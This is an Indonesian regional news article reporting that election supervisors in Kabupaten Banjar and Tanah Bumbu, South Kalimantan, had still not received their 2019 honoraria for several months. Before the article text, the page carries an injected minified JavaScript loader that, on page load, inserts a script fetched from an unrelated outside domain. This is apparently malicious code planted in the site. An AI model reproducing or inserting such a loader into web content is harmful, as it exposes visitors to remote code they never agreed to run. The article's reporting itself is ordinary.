(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Walaupun proses pencoblosan dan perhitungan suara yang merupakan puncaknya pemilu 2019 sudah usai, hingga kini sejumlah petugas Panitia Pengawas Pemilu (Panwaslu) di daerah ini belum menerima haknya berupa honor.
Ini seperti yang terjadi pada petugas Panwaslu di Kabupaten Banjar. Puluhan petugas di tingkat kelurahan dan petugas di tingkat kecamatan di Kabupaten Banjar hingga sekarang masih belum menerima honor untuk bulan Mei dan Juni.
Masalah ini dikeluhkan oleh beberapa petugas di tingkat kelurahan dan kecamatan. Salah satunya Edwin, Panwascam asal Astambul. Ia mengatakan, hingga kini honornya belum di bayar. “Hingga kini honor kami masih belum dibayarkan bahkan operasional pun juga tidak dibagikan seperti halnya perjalanan dinas, apalagi THR juga tidak ada,” ungkapnya.
Edwin mengaku sangat kecewa, terlebih gaji tidak kunjung dicairkan saat lebaran yang baru saja lewat. Ia menuntuk agar pencairan segera dilakukan sekaligus membayar tunggakan selama dua bulan.
Di tempat terpisah, anggota Panwascam lainnya dari Beruntung Baru, Mulia Ningsih, juga mengalami nasib serupa. Ia pun mengatakan honor sejak dua bulan lalu belum dibayar. Namun ia menganggap bahwa masalahnya adalah soal administrasi.
“Berdasarkan informasi yang diterimanya, kejelaaan proses pembayaran honor pada Bawaslu itu dilakukan berjenjang. Dana awalnya diterima Bawaslu Provinsi lalu diserahkan ke Bawaslu Kota dan selanjutnya disalurkan ke Panwas termasuk Panwas di kecamatan, kelurahan hingga pengawas Tempat Pemungutan Suara (TPS), ” katanya.
Saat ini honor Panwas yang diterimanya sebagai petugas Panwas tingkat komisioner kecamatan sebesar Rp 1.600.000 untuk anggota, dan Rp 1.850.000 untuk ketua.
Sebelumnya, masalah serupa dialami petugas Panwascam Kalsel seperti halnya yang dikutip dari berbagai sumber di kecamatan dan kelurahan di Kabupaten Tanah Bumbu. “Untuk bulan April belum, Mei belum juga. Tidak tetap waktunya (pembayaran). Honor saya Rp 900.000 per bulan,†kata Raimulah, petugas Panwas tingkat desa di Kecamatan Kusan Hilir.
Dia pun mengatakan dijanjikan honornya dibayar sebelum pencoblosan. Namun kenyataannya sudah hampir dua bulan gaji mereka belum dibayar. (Rendy)
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
This website uses cookies.